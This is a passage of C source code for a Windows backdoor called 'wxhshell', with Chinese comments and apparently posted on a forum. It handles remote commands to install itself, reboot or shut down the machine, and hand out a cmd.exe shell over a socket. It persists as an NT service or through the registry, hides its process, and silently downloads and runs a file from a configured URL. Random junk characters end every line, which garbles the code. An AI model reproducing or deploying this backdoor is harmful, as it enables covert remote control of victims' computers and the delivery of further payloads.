    break; Q$RP2&  
  } fT'A{&h|U  
  // 安装 $1UN?(r  
  case 'i': { I s88+,O  
    if(Install()) "w_(p|cm=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GU"MuW`u2  
    else `D GO~RMp9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); flmcY7ZV  
    break; o.j;dsZ  
    } lkl#AH  
  // 卸载 }*0%wP  
  case 'r': { JXvHsCd?  
    if(Uninstall()) *!nS4 [d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lUWjm%|  
    else L(X:=) !K0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x&8?/BR  
    break; (r7~ccy4  
    } bg 7b!t1F  
  // 显示 wxhshell 所在路径 j&#p&`B  
  case 'p': { tc# rL   
    char svExeFile[MAX_PATH]; &, K;F'  
    strcpy(svExeFile,"\n\r"); \w`Il"}V  
      strcat(svExeFile,ExeFile); G%4vZPA  
        send(wsh,svExeFile,strlen(svExeFile),0); az19-QIcg  
    break; 47t^{WrT  
    } h3JIiwv0!  
  // 重启 `#9ZP  
  case 'b': { JbG+ysn  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); a:P% r  
    if(Boot(REBOOT)) 7AtJ6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mk[=3!J  
    else { f)gA.Rz  
    closesocket(wsh); s<^UAdLnl  
    ExitThread(0); hS<x+|'l  
    } BeplS  
    break; NEK;'"  ~  
    } N!btj,vx  
  // 关机 L18Olu  
  case 'd': { dyg1.n#M}  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); BDcl1f T  
    if(Boot(SHUTDOWN)) 33 N5>}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k.0$~juu  
    else { "esV#%:#J  
    closesocket(wsh); <4Ujk8Zj  
    ExitThread(0); m#8mU,7  
    } V_Y SYG9f  
    break; 9/Q5(P  
    } v bh\uv&  
  // 获取shell 79S=n,O  
  case 's': { o'Po<I  
    CmdShell(wsh); KS%xo6k.  
    closesocket(wsh); ;2& (]1X  
    ExitThread(0);  +/AW6  
    break; t0hg!_$bq  
  } 9n44 *sZ  
  // 退出 =X>?Y,   
  case 'x': { D(L%fK`+  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); B&<Z#C:I  
    CloseIt(wsh); C;STJrew  
    break; e'g-mRh  
    } -w^E~J0*L  
  // 离开 }JvyjE  
  case 'q': { .}]5y4UQ.  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); _H@S(!  
    closesocket(wsh); lwjg57  
    WSACleanup(); 'rU 5VrK  
    exit(1); kM@8RAxA  
    break; +=;F vb  
        } YHg4WW$  
  } Q<Utwk?nL  
  } qfG`H#cA<  
I?5#Q0,b  
  // 提示信息 ]6FpUF#<D  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8"RX~Igf  
} '6[0NuB  
  } r!j_KiUy  
&o:wSe  
  return; /ey}#SHm,  
} zjB8~ku#  
@k ~Xem%<  
// shell模块句柄 XeJx/'9o{  
int CmdShell(SOCKET sock) dsrzXmE0  
{ t"JfqD E  
STARTUPINFO si; ,in`JM<o  
ZeroMemory(&si,sizeof(si)); +qDudGI  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; I`zn#U'  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; n$B=Vt,  
PROCESS_INFORMATION ProcessInfo; .kGg }  
char cmdline[]="cmd"; D+#QQH  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); U(.Ln@sq  
  return 0; )0~zL} )?  
} #tGW|F  
q>o1kTI  
// 自身启动模式 eBBqF!WDb  
int StartFromService(void) XwE(&ZCf'b  
{ >t3%-Kc  
typedef struct K'Bq@6@C g  
{ Wyw/imr  
  DWORD ExitStatus; rp+&ax}Wh  
  DWORD PebBaseAddress; =P-kb^s  
  DWORD AffinityMask; ~bg?V0  
  DWORD BasePriority; 9<G-uF  
  ULONG UniqueProcessId; xW!2[.O5H  
  ULONG InheritedFromUniqueProcessId; Rs8^ 27  
}   PROCESS_BASIC_INFORMATION; %9uLxC;  
\Om.pOz  
PROCNTQSIP NtQueryInformationProcess; Y Dq5%N`  
ezgP\ct  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; OZB(4{vnyC  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; G?#f@N0.5p  
)Gh"(]-<  
  HANDLE             hProcess; pmv;M`_|R  
  PROCESS_BASIC_INFORMATION pbi; :Bz*vH  
)t0Y-),vA  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 4'RyD<K\  
  if(NULL == hInst ) return 0; PsjSL8]  
Sbc  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,-rOfk\u  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); U\*}}   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [:&4Tp*C  
[ ]}E- V  
  if (!NtQueryInformationProcess) return 0; Cd?a C  
mG*[5?=r  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); x_GD  
  if(!hProcess) return 0; ?>92OuG%W?  
( d#E16y  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ds}:t.3}6  
\vjIw{   
  CloseHandle(hProcess); w@ALl#z;}  
k?zw4S  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); s{#rCc)  
if(hProcess==NULL) return 0; ^`XQ>-wWue  
dUegHBw_`R  
HMODULE hMod; b1>zGC^|  
char procName[255]; G~b/!clN  
unsigned long cbNeeded; __dSEOGoe  
FZf{kWH  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); =4+Wx8ZeW  
O10,h(O  
  CloseHandle(hProcess); 2uujA* ^  
!6{; z/Hy  
if(strstr(procName,"services")) return 1; // 以服务启动 DyhW_PH2J  
0eP7efy  
  return 0; // 注册表启动 lR3`4bHA  
} F6^Xi"R[  
X` r~cc  
// 主模块 A/:^l%y,GZ  
int StartWxhshell(LPSTR lpCmdLine) xvn@zi  
{ !6.}{6b  
  SOCKET wsl; b/"&E'5-`\  
BOOL val=TRUE; +||y/}1  
  int port=0; hq+j8w}<-  
  struct sockaddr_in door; Z'=:Bo{  
E "9`  
  if(wscfg.ws_autoins) Install(); 4k%y*L  
%QYW0lE  
port=atoi(lpCmdLine); IP<]a5  
w1>uD]  
if(port<=0) port=wscfg.ws_port; Lh`B5  
'$nm~z,V  
  WSADATA data; ^phgNzD  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; rx[l7F q  
f0!i<9<  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   &=ZVU\o:  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); jgpSFb<9F  
  door.sin_family = AF_INET; 5=cS5q@  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ': fq/k3;&  
  door.sin_port = htons(port); U0X,g(2'  
QT`|"RI%  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #^FDG1=  
closesocket(wsl); |-+IF,j  
return 1; V7~tIhuJH  
} EjY8g@M;t  
^qR2!fwm<  
  if(listen(wsl,2) == INVALID_SOCKET) { L'A9TW2  
closesocket(wsl); 9szUN;:ZZ  
return 1; n VNz5B  
} [T}Lq~  
  Wxhshell(wsl); d1]1bN4`"0  
  WSACleanup(); |J:|56kVZq  
=5l20 Um  
return 0; T5<851rH  
2wX4e0cOI4  
} ctk~}( 1#  
nXRT%[o&  
// 以NT服务方式启动 ]wxjd l  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) H\vd0DD;  
{ AX{X:L8Ut2  
DWORD   status = 0; Q%T[&A}3B  
  DWORD   specificError = 0xfffffff; KA#P_e{<@  
V vFMpPi  
  serviceStatus.dwServiceType     = SERVICE_WIN32; W[VbFsI&b  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; v}`{OE:-J  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; fV(WUN+  
  serviceStatus.dwWin32ExitCode     = 0; yw@kh^L  
  serviceStatus.dwServiceSpecificExitCode = 0; #Ch*a.tI@  
  serviceStatus.dwCheckPoint       = 0; w! kWG,{C  
  serviceStatus.dwWaitHint       = 0; Tf*DFyr  
j0wpaIp  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); V$?@ z>7  
  if (hServiceStatusHandle==0) return; ye^*Z>|  
% S vfY{  
status = GetLastError(); KkJrh@lk  
  if (status!=NO_ERROR) jL6ZHEi#d7  
{ kfW"vI+d  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 'qy LQ:6  
    serviceStatus.dwCheckPoint       = 0; /$=<"Y7&g  
    serviceStatus.dwWaitHint       = 0; l^k/Y ]  
    serviceStatus.dwWin32ExitCode     = status; ,'Sj:l  
    serviceStatus.dwServiceSpecificExitCode = specificError; ASU.VY  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6k9cvMs%H  
    return; Abc%VRsT  
  } )W,.xP  
2 ":W^P  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; $o%:ST4  
  serviceStatus.dwCheckPoint       = 0; |L<p90  
  serviceStatus.dwWaitHint       = 0; tv 7"4$T  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); pNnZ-R|u  
} =pk5'hBAi  
;@<Rh^g]  
// 处理NT服务事件,比如:启动、停止 wrhGZ=k{  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ZBuh(be  
{ 259R5X<V  
switch(fdwControl) %y|L'C,ge"  
{ Ys@OgdS@:  
case SERVICE_CONTROL_STOP: g-LMct8$  
  serviceStatus.dwWin32ExitCode = 0; vrq5 +K&||  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; = 9!|%j  
  serviceStatus.dwCheckPoint   = 0; uA[c$tBe  
  serviceStatus.dwWaitHint     = 0; 3j7Na#<tL3  
  { :\F1S:&P  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ly P Cc|  
  } M.o H,Kd6  
  return; ~ ?JN I8  
case SERVICE_CONTROL_PAUSE: Q+7+||RW  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; NCa3")k  
  break; N8KH.P+  
case SERVICE_CONTROL_CONTINUE: SVn $!t  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; n@$("p  
  break; ( yK@(euG  
case SERVICE_CONTROL_INTERROGATE: -P:o ^_)g  
  break; M(U<H;Csk  
}; ('z:XW96  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "t)$4gERK  
} 0dW*].Gi:  
F*-+5nJ&@  
// 标准应用程序主函数 hS'!JAM>Q  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,4HZ-|EOZ  
{ ^AF~k#R  
Oy_%U*  
// 获取操作系统版本 9]%2Yb8SC  
OsIsNt=GetOsVer(); *cP(3n3]R  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 43,baeG  
%v4*$E!f  
  // 从命令行安装 |OiM(E(  
  if(strpbrk(lpCmdLine,"iI")) Install(); v^dQ%+}7>  
(L*<CV  
  // 下载执行文件 wx8Qz,Z  
if(wscfg.ws_downexe) { YSbe Cyv  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) i ?%_P u  
  WinExec(wscfg.ws_filenam,SW_HIDE); O>"T*   
} FQ>y2n=<d  
f^)iv ]p  
if(!OsIsNt) { WP{U9YF2  
// 如果时win9x,隐藏进程并且设置为注册表启动 ?G[=pY:=  
HideProc(); []G@l. ]W  
StartWxhshell(lpCmdLine); VCzb[.  
} M5:j)o W  
else a@ ^)?cH!z  
  if(StartFromService()) 'cqY-64CJZ  
  // 以服务方式启动 twhT6wz"  
  StartServiceCtrlDispatcher(DispatchTable); ! u@JH`  
else wf_ $#.;m  
  // 普通方式启动 -/:!AxIH  
  StartWxhshell(lpCmdLine); ,3 [FD9  
Ept=&mJPu  
return 0; cTQ._|M  
}
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只看该作者 1 发表于: 2006-10-10
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